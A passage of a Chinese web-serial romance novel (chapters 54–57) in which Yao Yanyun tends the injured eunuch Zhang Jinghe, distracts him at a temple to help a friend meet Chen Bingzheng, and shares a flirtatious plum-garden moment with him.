她对着门板扬声道,“公公,那我就进来了啊。” 说着,不等里面回应,便轻轻推开门走了进去—— 作者有话说:姚砚云:他又咋了啊[问号] 第54章 一进门,便见张景和端坐在饭桌旁,面前一碗鸡丝粥冒着袅袅热气,却纹丝未动,显然一口未碰。 “可是有什么事?”,张景和抬眸看了她一眼。 姚砚云在他身侧坐了下来,轻声道,“富贵说,您没胃口吃饭,难不成您摔到其他地方了,要不要叫常圣手过来看看。” 张景和眉头一皱,“你叫那个老东西过来干嘛,看到他,我更没胃口。” 听他这话,姚砚云心想他不是真没胃口,更像是不愿让富贵喂饭?毕竟两个大男人这样喂饭,难免显得别扭。可富贵本就是他的近侍,照料起居本是分内事,这有什么不好意思的! 他的自尊心竟要强到这份上?还是说,他是被什么事堵了心,才连饭都不想吃? 姚砚云弯了弯唇角,顺着他的话往下接,“那还好今晚是我来,我总比常圣手讨喜些吧?” 张景和喉间溢出一声轻呵,带着几分讥诮,“怎么?白天说你做事比富贵舒心,这是打算往后都来伺候我了?” “小云只是不想公公您饿肚子。”,姚砚云语气坦诚,“这天多冷啊,您都一天没沾东西了,便是铁打的身子也扛不住。” 张景和扯了扯嘴角,“这么说,你这是喂我吃饭来了。” “是啊。”,姚砚云说着,脸上笑意更明了些,故意逗他,“您该不会不好意思吧?” 张景和哼道,“我有什么不好意思的!” “那就好。”,姚砚云拿起一旁的粥碗,银勺在碗里轻轻搅着,热气裹着鸡丝的鲜香漫开来。 张景和看着她低头搅粥的模样,心里却莫名发沉,她这模样,倒像是为了讨好他,什么事都肯做。可其实根本不必如此,她只需在干爹干娘面前稳住两人的关系即可。 转念间他又想明白了,她大抵是怕自己日后不肯放她走,才这般小心周全。 呵呵,倒是多虑了,让她留在张府,本就是当时形势所迫,等事情平息,她要走便走。 “你不必如此。”,张景和忽然开口,打破了席间的安静。 姚砚云握着勺的手一顿,抬眸看他,“什么?” 张景和道,“答应你的事情我都会做到,所以你不用这样来讨好我,没必要。” 姚砚云原以为他要说出什么要紧事,闻言反倒愣了愣,随即笑了,“我知道啊。” 张景和问,“你知道什么?” “我知道公公您是个信守承诺的人。”,姚砚云眼睛亮得像盛了星光,就这样抬头望着他。 张景和看着她这张笑靥如花的脸,心里反倒更堵了。他明明清楚,她这些话、这些笑,未必全是心甘情愿的,不过是顺着他的脾气,拣他爱听的话说。 可对着这样一张鲜活的、带着暖意的脸,那些到了嘴边的反驳,那些想戳破“逢迎”的话,竟一句也说不出来,只堵在喉咙里,闷得发慌。 姚砚云看着他这模样,心里明白也了一些东西,他哪里是怕她讨好,分明是觉得让别人喂饭,是件丢面子、损自尊的事。不过这人的性子,向来就是这样,爱端着架子。 反正这样的日子也不会持续太久,她便当是遇上了个爱闹别扭的小孩,多让着点、顺着点,也就过去了。 姚砚云不再提方才的话头,只舀起一勺温凉刚好的粥,递到他嘴边,“公公,喝点吧。亏待谁,也不能亏待自己的身子啊。” 话都说到这份上,这粥便是不想喝,也得喝了。况且张景和确实饿了,一碗粥见了底,姚砚云又去厨房盛了两碗,他竟也一并喝了,前后算下来,足足喝了四碗。 正说着话,门外传来脚步声,富贵端着一桶温水进来,是准备帮张景和擦身子的。换作旁人,这大冬天的,人又受了伤,一两天不洗也没什么,可张景和向来爱干净,哪怕卧床,也容不得半点邋遢。 姚砚云见状,赶紧收拾好碗勺,起身退了出去。倒不是她怕什么,只是怕他尴尬,毕竟上次帮他脱中衣的事还在眼前,她早就摸清了,张景和这人看着厉害,其实就是雷声大,雨点小。 回去踏月轩的路上,姚砚云蓦地恍过神来,自己好像没那么怕他了。 翌日中午,姚砚云用过午饭,想着还是得去张景和那处走一趟。他现在毕竟受着伤呢,即便只是面上的关照,该做的功夫也得做足,免得落人口实。 刚跨进屋内,就见富贵正收拾着碗勺,桌上还剩小半碗清粥,显然是刚伺候完张景和用粥。姚砚云本想探个脑袋就走,却被里屋的声音叫住。 “来都来了,帮我按按肩。” 张景和说着,已起身缓缓坐到窗边的太师椅上,窗外恰好有一小束暖融融的阳光斜斜落进来,落在他白净的侧脸与眉梢,竟冲淡了几分往日的冷厉。姚砚云没多想,自觉拉过一张圆凳,在他身后坐下,指尖搭上他肩头的筋骨,轻轻捏了起来。 “公公,您最近头还痛吗?”,指尖触到他肩颈处紧绷的肌肉,姚砚云想起在宫里时,曾撞见他几次头痛发作的模样。 张景和闭着眼,喉间漫不经心地说出一句,“也就这样吧。” 姚砚云想到她还在宫里的时候,见过他几次发病,那模样十分的痛苦,便问,“您这头痛是很多年了吗?” 张景和闭着眼,没有回,小半天后才说了一句,“算是吧。” 姚砚云见他没什么细说的兴致,便识趣地没再搭话,只默默加重了手上的力道,顺着他肩颈的筋络慢慢揉开,屋内静得只要彼此的呼吸声,她还以为他睡着了,指尖正准备放轻些,却听见张景和忽然x开口,“你上次提的那些,我这边倒有几个符合要求的。” 姚砚云的手停了下来,一时没反应过来,“什么?” 张景和道,“你的择婿标准。” 姚砚云: 姚砚云瞬间反应过来,脸颊微微发烫,她就知道,这人绝不会放过任何取笑她的机会!她连忙解释,“公公,您就别打趣小云了,我那天不过是胡说的……” “有什么不好意思的?”,张景和打断她,“哪个女子不思春?到了年纪,想寻个合心意的夫君,本就是寻常事。” 姚砚云:…… 姚砚云被堵得说不出话,只盯着他垂在膝头的手,虽然背对着,可她闭着眼都能想象出他此刻的神情,眉梢挑着,嘴角勾着,定是一副得意洋洋的模样,像是抓住了她的小辫子,等着看她窘迫的样子。 她偏不愿遂他的意,索性站起身,绕到他身前的圆凳上坐下,抬眼直直望着他,一脸认真地道,“好啊,那公公您说说,他们姓甚名谁?家住哪里?家中有几个兄弟姐妹?为人品性又如何?” 张景和显然没料到她会这么问,眼底闪过一丝错愕,随即低笑一声,“呵,你是认真的?” 姚砚云道,“怎么,公公难道您是觉得我配不上他们?” “配不配得上是一回事,”,张景和收起笑意,语气沉了几分,“你一个未出阁的女子,张口闭口就提自己喜欢什么样的夫婿,成何体统?不知情的人听了,还当我张府治家无方,连基本的规矩都没教过你。” 姚砚云闻言,反倒轻轻笑了两声,“这方面公公您也没好到哪里去。” 张景和嗤了一声,别开脸,语气里满是不以为然,“我可不会像你这样,见人就把自己的终身大事挂在嘴边。” “哦?”,姚砚云往前凑了凑,目光直直盯着他的眼睛,“那公公那天在屏风后偷听,又是怎么回事?”,“我不信您当时不知道,屏风后那人是我。” 那天姚砚云一开口说话,张景和就辨出了她的声音。他分明有一万种办法打断,或是出声提醒,可那天不知怎么的,像是被什么缠了心,竟鬼使神差地坐在原地,想把她的话全听下去。 张景和的眼神闪了闪,避开她的目光,语气硬邦邦的,“我才不知道是你!也没那闲工夫,听你说这些无关紧要的话。” “您没闲工夫?”,姚砚云立刻抓住话柄,“那您怎么知道,我当时说的是择婿标准?总不能是晚上做梦,梦到的吧?” “公公,偷听了就偷听了,认了它,我又不会笑您。” “再说了,偷听别人说话这种事,也就三岁小孩才会做,我不至于放在心上的。” 张景和被姚砚云说的哑口无声,“姚砚云,你如今是越来越放肆了!怎么,觉得我伤着了,就不能对你怎么样了?” 姚砚云非但不怕,反而往前凑了凑,眼神里满是挑衅,“那您说说,您想对我怎么样呀?” “你!”,张景和气得想拍桌子,可刚抬起手,却发现自己的手掌一拍怕是要废掉了,只好又硬生生收回,只咬牙道,“你简直是无法无天!” 他指着门口,“出去,出去,不用你按了。” 姚砚云也不客气,起身拍了拍裙摆,转身就走,连个眼神都没多留。 看着她干脆利落的背影消失在门口,张景和才重重呼出一口气,心里又气又无奈,这姚砚云,如今在他面前是越来越大胆了!再这样由着她,怕是有一天,她都敢骑到他头上来了! 她还说他不敢对她怎么样?小姑娘家口气倒大。张景和皱着眉,心里想着,她若是再这样不懂事,自己可不会再客气——到时候,可别哭着求饶!—— 作者有话说:昨天没更,所以今晚就早点更[吃瓜] 第55章 中午出了些太阳,姚砚云正和马冬梅,小元在院子里玩投壶。竹箭刚脱手落在壶外,就见富贵匆匆从月亮门进来,“姚姑娘,常圣手来了,老爷吩咐了,让他给你把把脉,瞧瞧身子。” 经过上回那茬,姚砚云对常圣手早有认知,这位大夫医术是高,可那张嘴,偏偏爱说些“语不惊人死不休”的话,句句都能戳在人意想不到的地方。 此刻屋内除了常圣手,就只有她和一旁乖乖坐着的小元,姚砚云索性不开口说话,能不接话就不接话,免得又不小心惹得对方起了话头,再冒出些让人接不住的话来。 没成想,倒是常圣手先开了口,指尖搭在她腕上,目光扫过她的脸,慢悠悠道,“姚姑娘,不过一个多月没见,你倒像是变了些。” 姚砚云问,“哪里不一样啊?” 常圣手收回搭脉的手,指尖轻抚着颌下花白的长髯,“胖了,脸上的肉都显出来了,比先前圆润不少。” 姚砚云: 见她没说话,常圣手又接着道,“你这个病啊,很难伺候,调理起来最是费功夫。可像你这样病得重的,短短时日能恢复得这么快,还能养胖些,倒是少见。挺好的,想来张公公待你还算周到。” 姚砚云下意识抬手摸了摸自己的脸颊,指尖触到的皮肤确实比先前圆润些 常圣手又细细叮嘱了几句饮食忌口的话,便背着药箱走了。 姚砚云送他到门口,回头才问富贵,“今日怎么突然让常圣手来给我看诊?” “常圣手是来给老爷看腿的。”,富贵一边收拾着桌上的茶盏,一边回话,“刚给老爷看完,老爷就吩咐我,把人带来给你也瞧瞧。” 姚砚云还在琢磨着变胖“这事,闻言愣了愣才反应过来,追问,“公公的腿怎么样了?” 富贵道,“比前几天稍微好点了,老爷不久前就已经进宫了。” 姚砚云问,“不是说至少要休息半个月吗?现在才第六日啊。” 富贵道,“可不是嘛!我也是这么劝的,可老爷说,他要是再不去宫里走动,皇上该忘了他了。” 姚砚云听完,忽然想起从前看过的一则旧闻,说是北宋时有个得宠的太监,忽然连着一个月没被皇上召见,心里便慌得不行,毕竟他的荣宠全靠皇上,宫里的人见他失了召见,也私下议论他是不是犯了错、失了势。后来那太监为了稳住局面,每日做完差事,就跟同僚说皇上召他入内,实则只是绕着皇上的住处走一圈,压根没见着皇上的面,不过是装个样子罢了。 张景和大抵也是怕这个吧?深宫里的荣宠本就如履薄冰,一有不慎,便可能被人取而代之,从前的一切都成了泡影。 她定了定神,又问,“那他现在能走路了?” “能走是能走,就是走起来一拐一拐的,看着就疼。”,富贵说着,又忍不住嘿嘿一笑,“姚姑娘,我还是头回听见你主动关心老爷呢。” 姚砚云道,“你这话说的,若是你摔成这样,我也会问一句。旁人遭了难,关心几句是人之常情,有什么好稀奇的?” 富贵走后没多久,姚砚云便靠在榻上翻起了话本,没多久方淑宁就来了。 两人并肩坐在榻上,姚砚云顺手递了杯热茶过去,方淑宁捧着茶盏暖了暖手,“张公公好些没有。” 姚砚云道,“腿还伤着了,人倒先进宫了。” 方淑宁闻言,忽然抬眸看向她,眼底藏着点笑意,连带着嘴角都轻轻弯起来。姚砚云被她看得一愣,不解地问,“怎么了?我这话有什么不对?” “没什么。”,方淑宁摇摇头,又笑了。 两人闲来聊了几句,方淑宁忽然开口道,“皇后娘娘信佛,每月都会抄些经书,让公公们送到静安寺祈福。这个月底负责送经书的,是张公公和……和陈公公。”,说到“陈公公”三个字时,她的声音明显轻了些。 停顿片刻,她抬眼看向姚砚云,“姚姑娘,我想请你那天帮个忙,能不能想办法把张公公暂时引开?就一小会儿,真的只要一小会儿就好……我有几句话,想单独和陈秉正说。” 姚砚云闻言,心里蓦地一动。先前芸娘私下提过的,方次辅对司礼监的莫名敌意,还有那一次方次辅带着一群侍卫,气势汹汹将陈秉正的陈府团团围了起来,此刻忽然在脑海里清晰起来,想必这一切,想必都是和方淑宁有关。 只是方淑宁既然不愿明说她与陈秉正之间的纠葛,姚砚云也不会主动x去追问,每个人心里都有不愿旁人触碰的角落,追问太多反倒失了分寸。 见姚砚云垂着眼若有所思,方淑宁连忙出声,把她从思绪里拉了回来。她语气急切了些,却也不掩饰自己的心思,“姚姑娘,你别多想,其实没你想的那么严重,也不是你猜的那样,就真的只是想说几句话,了了一桩旧事而已。” 怕姚砚云不信,她又连忙补充了一句,语气里带着点故作轻松的笑意,“你看,我都要嫁人了,嫁的还是旁人都羡慕的、风度翩翩的探花郎,往后就是安安稳稳的官家夫人,还能掀起什么风浪啊?不过是了却一桩心事罢了。” 姚砚云低头细想,方淑宁能特意找到自己这里来求帮忙,说明陈秉正这些日子定是一直在避着她,而张景和先前总劝她离江淑宁远些,恐怕也是早就知道这两人之间的纠葛,怕她被牵扯进去。她心里清楚,自己虽然喜欢江淑宁这个人,可也不能为了这份好感去得罪张景和,这么看来,这忙是断然不能帮的。 只是,她当初虽隐约察觉方淑宁接近自己时存了些别的目的,却万万没料到是为了这事。 再看方淑宁此刻的模样,脸上虽带着明显的恳求,眼底却没有太多激烈的情绪,倒像是对陈秉正真的没有太多牵扯不清的执念,只剩最后一点未了的心愿。而且这段时间相处下来,江淑宁待她向来坦荡,热络得毫无虚情假意,早已把她当成了能说几句心里话的真心朋友。 姚砚云终究是心软了,问,“那我能怎么帮你啊?张公公去静安寺是替皇后娘娘祈福,是正经差事,我一个外女,也不好跟着去凑热闹啊。” 她顿了顿,又想起一桩关键事,语气里多了几分顾虑:“而且,你爹方次辅那边……他若是知道你还和陈公公有牵扯,怕是不会同意吧?” 江淑宁见她松了口,眼睛瞬间亮了亮,连忙凑近姚砚云,抬手挡在唇边,将声音压得极低,凑在她耳边说了几句悄悄话。 ———— 张景和因伤腿尚未完全恢复,已在宫里住了四日,始终没回府。 他不在,姚砚云倒觉得府里清净自在了不少,连做事都少了几分拘谨,每日都开开心心的。 这日午后无事,她闲着翻起了自己放从宫里带出来的旧木箱,那是原身留下的物件,里面还装着些从前的衣物首饰。虽大多是些不值钱的首饰、素布衣裳,姚砚云还是耐着性子,把首饰擦得锃亮、衣裳叠得齐整,归置在一旁。 可就在她伸手去拿箱底一件水绿色旧裙时,一张叠得方方正正的纸从裙摆夹层里掉了出来,轻飘飘落在地上。 姚砚云弯腰捡起,只见纸张边缘已经发脆发黄,显然有些年头了。她好奇地展开,才看了几行,脸色便沉了下来,这信竟是陈忠义写给原身的!字里行间满是腻歪的讨好,末了还缀着一句“三日后不见不散”。 一股厌烦瞬间涌上心头,姚砚云只觉得一阵反胃,连忙扬声喊来马冬梅,“冬梅!快把这个拿去烧了,赶紧烧干净!看着就晦气!快去快去!” 马冬梅匆匆跑过来,接过信纸,本想立刻去院子外头找个角落烧掉。可刚走到门口,就听见小元喊她去厨房帮忙,她只好先把信纸随手塞进口袋,想着先去把厨房的活计应付完再说。 等忙完厨房里的事,马冬梅这才想起那封信,连忙走到厨房的院外墙角,找了块干净的地,蹲下身划了火折子,小心翼翼地把信纸点燃。 姚砚云收拾完旧物,顺手翻出前段时间做的衣裙,不试不知道,一试就吓一跳,原以为合身依旧,可往身上一套才发现,布料竟紧紧裹着身子,比先前局促了不少。 看来自己这日子是真的好起来了? 她第一反应是该去跑步,绝不能任由自己胖下去。可念头刚起,又猛地想起这具身体本就带着旧疾,哪禁得住剧烈折腾?万一跑起来旧病复发,反倒得不偿失,先前的心思瞬间冷了大半。 她站在原地琢磨了半天,终究觉得还是温和些的法子稳妥,便扬声喊来马冬梅,“冬梅,陪我在院子里走几圈吧,总坐着也闷得慌。” 两人便在院中慢悠悠地来回踱步,不知不觉竟走了两刻钟。停下来时,姚砚云只觉浑身气血都通畅了些,连呼吸都轻快了。 她转头和马冬梅约定,“冬梅,往后咱们饭后都来走一走。既能解闷,也活动活动身子,省得再像今日这样,衣裳都穿不下了。”—— 作者有话说: 方淑宁和陈秉正这条线会一带而过,不会有很多笔墨的,大家放心。 北宋太监那事,是真实史料里面记载的,但是好像又是唐朝的?具体那个朝代的我也忘记了。 明晚10点半见哦 第56章 日子过得快,转眼就到了月底。连续七日宿在宫中未曾回府的张景和,终于在午后时分回了府。 姚砚云早和富贵交代好了,要是张景和回府了,要第一个告诉她,此刻听闻张景和已回,她便快步赶了过去。 进了屋,正见张景和刚用完午饭,身着常服坐太师椅上,手里端着杯热茶慢饮,神色间带着几分连日操劳的倦意。 姚砚云搬了个凳子在他对面坐下,先关切地问:“公公,您的腿如今好些了吗?瞧着走路还碍事不?” 张景和抬眼瞥了她一下,语气平淡:“恢复得差不多了,日常走动不碍事儿。” 姚砚云又往前凑了凑,语气里带着点试探:“您这一去宫里就是七日没回府,想来宫里的事情定是多极了。那您这几日……还得再回宫里去吗?” “这几天暂时不用回去。”,张景和呷了口茶,话锋一转:“不过明日得去一趟静安寺,替皇后娘娘送经书。” 这话正合姚砚云的心意,她立刻接话:“我先前听人说,静安寺的菩萨特别灵验,求什么都能应。公公明日要去,要不我跟您一起去一趟?我有很多事想求菩萨的。” 张景和放下茶杯:“你前阵子不是去上过香?怎么又想去了?” 姚砚云脸上绽开一抹笑:“正是因为去过才觉得灵啊!上次求的愿心里总记挂着,想再去拜拜,也多谢菩萨保佑。” 谁知张景和半点没松口,语气干脆地拒绝:“我明日是去办差,不是去游山玩水的。你要是真想去上香,让三喜和马冬梅他们陪着你去就是,不必跟着我。” 姚砚云早料到他会拒绝,又换了个理由,目光落在他的腿上,语气软了些:“可我瞧着您的腿,好像还没完全好利索。明日去静安寺,路上难免要走几步,我跟着去,还能帮着扶您一把,也省得您累着。” 张景和道:“我会坐轿子上去,用不着人扶。” 姚砚云咬了咬唇,又琢磨出个说法:“公公,替皇后娘娘送经书祈福,这可是多大的荣耀啊!我长这么大,还没见过皇后娘娘的字呢,想着明日跟着去,说不定能远远瞧一眼经书,沾沾娘娘的福气。” 张景和看她今日为了跟着去静安寺,找了这么多理由,倒显得有些孩子气。他心里虽觉得好笑,面上却没露出来,只淡淡道:“宫里的规矩多,带你去不方便。” 姚砚云见他还是不答应,又道:“那不看也行,到时候我在门口候着可以吗,我在门外感受,总可以吧?” 张景和: 姚砚云见状,立刻起身绕到他身侧,轻轻晃了晃他的胳膊:“答应我吧,答应我吧。” 张景和看着她眼底亮晶晶的恳求,终究是没再立刻驳回,说了句:“随你吧,到时候你在门外站在,不准生什么是非!” “那就明天见,公公。”,姚砚云立刻笑开了花,脚步轻快地转身跑了出去。 第二日,姚砚云就比张景和先到了静安寺。先前张景和已经跟她说过,送经书的仪式在大雄宝殿举行。此刻殿内和四周早已疏散了香客,只有她和三喜凭着关系被留了下来观礼,殿内还站着寺院的主持和一些僧人。 没过多久,殿门处传来脚步声,一个身穿红袍的太监走了进来。 姚砚云几乎是一眼就认了出来,那是陈秉正,这人实在生得一副颠倒众生的好皮囊,那些形容美男子的词一下子就都可以用上了,什么x肤色冷润的羊脂玉色,什么眉峰轻扬如远山含雾,什么瞳仁黑得像浸了墨的琉璃。 这般容貌,竟让姚砚云心头猛地跳出三个字:玉面狐! 好看到能让人挪不开眼! 怪不得方淑宁对他有不一样的感情!换作旁人,怕是也难抵这份样貌……果然,能在御前伺候的人,多少都有些过人的姿色。 正欣赏着,后颈忽然又窜来一阵凉意,伴着一道低沉的声线:“看什么?” 姚砚云心头一跳,猛转头就撞进张景和的目光里,慌忙辩解:“我我看主持呢!” 张景和没再多问,只淡淡扫了她一眼,便转身走到陈秉正身旁。两人一同捧着线装经书,缓步向方丈走去,仪式开始。 姚砚云悄悄松了口气,和三喜轻手轻脚地退出殿门。她先是带着三喜绕着旁边的配殿转了圈,见殿里都在诵经,便提议去后山看腊梅。 去梅园有两条路。山门右侧是青石板铺就的大路,走的人多,踩得格外平整,左侧则是条小路,顺着坡势蜿蜒向下,路边枯草半枯半黄,还沾着晨露没干透。姚砚云带着三喜走了小路。 三喜和姚砚云一前一后地走着,走到坡中段时,姚砚云脚下不知被什么绊了一下,身子一歪就往旁边的草坡滑去,手里的帕子都飞了出去。 三喜离她不过五六步远,见状立刻快步冲过来,伸手就要扶她:“姚姑娘!你没事吧?” 姚砚云却猛地抬手推开他的手:“你这是做什么,男女授受不亲,哪能随便碰!” 三喜的手僵在半空,也觉得有些不妥,眼前这位毕竟是自家老爷的人,确实该避嫌。可再看姚砚云躺在枯草里,眉头皱着,像是摔得不轻,又忍不住急道:“姚姑娘,这地上凉得很,我先扶你起来再说,别冻着了。 “那怎么行?”,姚砚云揉着膝盖,“要是被公公看到了,指不定要怎么想,他该不开心了。” 三喜:…… 姚砚云见他不动,急道:“你倒是赶紧去叫公公来啊!我浑身疼得厉害,再躺下去我要僵了!” 三喜只能返回去张景和。 三喜领着张景和过来时,一眼就看见蜷在草丛里的姚砚云。张景和当即沉了脸,抬脚就往三喜身上踹了下:“便是头猪,也晓得把人扶起来!你就眼睁睁看着她躺这儿?” 三喜捂着被踹的地方,满脸委屈正要辩解,姚砚云倒先撑着地面坐起来,替他解围:“公公别怪三喜,是我不让他扶的。” 张景和踩着草坡往下走,伸手将姚砚云拉起来:“非要等我来,躺这里很舒服是吧?” “这路上人来人往的,”,姚砚云垂着眸,指尖轻轻攥着衣角,“我一个姑娘家摔在这儿,知道的是三喜来扶我,不知道的……还以为我们在做什么呢。” 张景和听得发笑,抬手揉了揉眉心:“人都摔了,还顾这些有的没的?” “我怕公公您不开心。”,姚砚云抬眼望他 张景和嗤笑一声:“不至于。” 姚砚云转头看向一旁的三喜,轻声道:“你先回去吧,我跟公公去赏梅。” 等三喜的身影走远,张景和才淡淡补了句:“我待会儿得回宫办事,你自己去赏吧。” 姚砚云立刻“哎呀”一声,身子晃了晃,伸手拽住他的衣袖:“公公,我好像扭到脚了,走不动路……您背我上去吧。” 见张景和没应声,眉头还微微蹙着,又有些犹豫的样子,她又道:“公公我都这样了?您连背我都不愿意?好歹我是您名义上的女人,您就这样见死不救吗!” “行了,行了!上来。”,张景和无奈叹口气,心里暗忖这人怎么跟没长大的小孩似的,说着便半蹲下身。姚砚云立刻笑着趴上去,手臂轻轻环住他的脖子。 张景和背着她往小路上走,刚迈两步,姚砚云突然尖着嗓子喊停。 “公公!那边有蛇!别走那条路,我怕” 张景和停下脚步,顺着她指的方向看了半天,也没见着半点蛇影,“姚砚云你闹呢!大冬天哪里来的蛇!” 说罢就要继续往前走,姚砚云急得勒住他的脖子:“真的有蛇啊,真的啊。我跟三喜第一次下来的时候就看见了,就在那堆草里藏着!” “我过去看看。”,张景和刚要迈步,姚砚云勒得更紧了:“不行啊,会咬人的。” 张景和耐着性子道:“那你先下来,我过去看下。” 姚砚云却立刻摇头:“不行。” 张景和被勒得喘不过气来:“那你想怎么样啊?祖宗。” 姚砚云立刻指着右侧的小斜坡:“走这边上去!这边安全!” 张景和没法,只能背着她往斜坡走。坡上有很多杂草,这处一般没人走,所以也没去清理积雪,这下的积雪刚化,路面又湿又滑,他刚踩稳两步,脚下突然一滑,连带着背上的姚砚云一起滚进了下方的草丛里。 失重感过后,张景和半个身子压在姚砚云身上,鼻尖蹭到她发间的香气,耳尖倏地红了,忙要撑着地面起身。 可姚砚云却突然翻身,将他牢牢压在身下。 她额前的碎发垂落下来,扫过他的脸颊,腰间那条墨绿色丝带松松散散挂着,衣料下隐约的起伏随着她微促的喘息格外明显。 张景和就这样仰头望着她,喉结不自觉滚了滚,好一会儿才偏开脸,声音带着点紧绷:“起来!” “公公,我腿痛,您让我缓一下。”,姚砚云嘴上这么说,身子却纹丝不动,掌心甚至还轻轻蹭过他的衣襟。 张景和侧着脸催促:“你到底起不起的!” 姚砚云在他身上趴了会儿,只觉得他身上的温度透过衣料传过来,暖得让人不想挪开。刚要撑着起身,目光却无意间扫到他泛红的耳根:“我这就起来。” 她轻声应着,动作却故意放得更慢,手肘撑/。着他的胸膛轻轻借力,一点一点往上/。挪。 没一会儿,她眼角的余光突然瞥见,张景和的脸竟也红了,从脸颊一直蔓延到下颌线,连呼吸都比刚才重了些。 姚砚云正纳闷他怎么突然红了脸,下一秒,自己的脸颊也“腾”地烧了起来,她为了多赖一会儿,她起身时动作拖得太长,肩膀下那两处柔软,正随着她的动作,轻轻蹭/。着他的胸膛,一下又一下 她这副身子,看着偏柔弱,该丰满的地方却一点都不含糊,连马冬梅都打趣着夸过她好几次。 意识到这点,她的脸瞬间烧得滚烫,终于察觉不妥,忙要撑着起身。 可张景和却以为她是故意挑衅,眼神一沉,猛地翻身将她/。压回去,攥住她的手腕按在草地上,声音里带着点咬牙的意味:“姚砚云,你又想玩什么把戏?” “哈哈哈!” 清脆的笑声突然从旁边传来,一个扎着羊角辫的小童蹦蹦跳跳地走过来,睁着圆溜溜的眼睛盯着两人的姿势,笑得停不下来:“哥哥姐姐,你们在玩什么游戏呀?” 不远处的一对夫妇听见动静赶来,看清两人衣衫微乱、压在草地上的模样,脸色瞬间沉了下来,便赶紧捂住小童的眼睛,抱着他快步离开,连一个眼神都不愿多给。 女人咬牙丢下句: “光天化日!真不要脸!”—— 作者有话说:明晚10点半见哦[菜狗] 第57章 两人慌忙分开,动作急得几乎带起风,像偷糖被抓包的孩子似的,各自猛地别过脸,端端正正坐在草丛两侧。 沉默在空气中漫了许久,姚砚云才悄悄抬眼瞟了瞟他的侧影,轻声打破平静:“公公,您……摔到哪里没有?” 张景和的声音从身旁传来,听不出情绪:“无事。” 可他始终侧对着自己,下颌线绷得紧,姚砚云看不见他的神情,更猜不透这“无事”背后,他到底有没有生气。她心里暗暗着急,眼下时间还不够,必须再想办法拖一会儿才行。 正低头琢磨着主意,身旁忽然传来动静,张景和竟已站起身,抬手拍了拍衣摆上的草屑和泥点,语气带着点漫不经心:“这腊梅,有什么好看的。” 姚砚云立刻接话,眼睛亮了亮:“这单独一枝是没什么看头,可前头梅园可是一大片啊,开得旺时像片黄金花海,好看得很。” 话音刚落,她便见张景和抬脚往坡下走,他竟真的愿意陪自己去看腊梅。姚砚云x心里悄悄松了口气,连忙起身跟上。 两人并肩走到梅园时,果然比上次来时热闹许多。满枝满桠的腊梅开得肆意,黄灿灿的花瓣缀满枝头,风一吹,连空气里都裹着清甜的香,一眼望去,当真像铺了片金色的海。 可张景和似乎没什么兴致,只扫了两眼,便走到不远处一块平整的大石头上坐了下来。 姚砚云也懒得他呆在一起,说了一句:“那公公您在这里等我,不准走哦。” 说完,便自顾自沿着花间小径逛了起来。 她望着枝头上饱满的花苞,心里痒痒的,想摘一小枝插在发间,可腊梅树长得高,踮着脚也够不着,只能作罢,继续慢悠悠地在花海里晃荡。 正走着,忽然一阵清风拂过,满树腊梅花瓣簌簌落下,像下了场金色的雨。姚砚云停下脚步,仰头望着漫天飞舞的花瓣,忍不住伸出手去接,指尖触到花瓣的微凉,眼底漾起了开心的笑意。 这时张景和也寻了过来。他站在不远处,望着眼前的景象,一时竟有些失神,姚砚云穿着一身素色衣裙,裙摆被风拂得轻轻摆动,她仰着头,发丝随花瓣一同飘起,整个人像从画里走出来似的,比满园腊梅还要晃眼。 姚砚云恰好抬头,撞进他的目光里,笑着问:“没骗你吧?这腊梅,是不是好看得很?” 张景和没说话,只朝她走了过来。走近了,姚砚云才发现他手里捏着一小朵刚摘的腊梅,嫩黄的花瓣还沾着晨露。他微微俯下身,指尖轻柔地避开她的发丝,将那朵腊梅轻轻插在了她的鬓边。 漫山的花海再盛,都不如眼前的花好看。 姚砚云被他这突如其来的举动弄得一愣,还没回过神,便见张景和直起身,目光仍直直地落在她脸上,眼神里藏着她从未见过的柔和。 “你看着我做什么?”,姚砚云被他看得有些不自在,耳尖悄悄发烫。 张景和的唇角微微上扬,眼底盛着细碎的光:“看花。” 姚砚云从未见过他这般模样,脸颊瞬间烧了起来 她才不信他真的在看花,分明是在捉弄她!羞赧又气愤之下,她忽然抬脚用力踩在他的鞋尖上,之后便转身跑了。 原地的张景和先是一怔,随即痛得龇牙咧嘴,可望着她跑远的背影,嘴角却忍不住向上弯了弯,他下意识抬了抬指尖,方才触到她鬓边发丝的柔软触感,还清晰地留在指腹。 离开梅园后,张景和便与陈秉正一同上了马车。车帘刚落下,吉祥便隔着帘子问:“老爷,陈公公,等会儿是直接回宫吗?” 陈秉正应了声,张景和却道:“回城后先找个医馆。” 吉祥问:“老爷,你是哪里不舒服吗?” 张景和总不能说自己是滚下山时扭了,还被姚砚云踩了脚,只能含糊道:“腿有点抽筋了,找个医馆看看。” 另一边,姚砚云则留在静安寺,等着方淑宁。她在山门外的石凳上坐了没一会儿,就见方淑宁从寺里出来,脸上带着几分舒展的笑意,瞧着神清气爽,看来事情办得很顺利。 “嗯,聊好了。”,方淑宁点头,伸手牵过姚砚云的手,两人并肩往山下走 回到张府,姚砚云先回房换了身干爽的衣裳,又让小元端来半碗热粥垫了垫肚子,今日的折腾让她倦得很,沾着枕头没多久就睡着了。 可睡了还不到一个时辰,马冬梅就走进了寝室,轻声叫醒她:“砚云,醒醒,啊芳来了。” 姚砚云揉着眼睛坐起身,见啊芳站在床边,神色比上次舒展了不少,便先问道:“你婆母近来还欺负你吗?” 啊芳连忙摇头:“多亏了你们上次帮忙!我婆母被教训后老实多了,再也不敢像从前那样磋磨我了。”,说着,她忽然低下头,指尖无意识地绞着衣角,脸颊慢慢泛起一层薄红,嘴唇动了动,却又没说出话,一副明显欲言又止的模样。 马冬梅见她这吞吞吐吐的样子,顿时急了,直接开口催道:“有话就直说,跟我们还客气什么!” 啊芳被她催得咬了咬下唇,才终于支支吾吾地开了口,声音轻得像蚊子哼,不仔细听都辨不清:“我……我有身孕了。” 姚砚云和马冬梅先是一愣,随即反应过来,连忙笑着恭喜她,几人坐在床边聊了起来。 “说起来,我倒希望是个女儿。”,啊芳轻轻摸了摸还平坦的小腹,眼底盛着柔软的憧憬,语气也变得格外温柔,“女儿贴心,等她长大了,还能陪着我说说话、解解闷。” “我也喜欢女儿!”,马冬梅立刻接话,眼里瞬间闪着光,连语气都轻快了几分,仿佛已经想象到了软乎乎的小丫头模样。 姚砚云看着她的模样,忍不住打趣:“你这是巴不得自己赶紧嫁人生女儿了?” 马冬梅的脸瞬间红透,连忙摆手:“我才没有!你别胡说!” 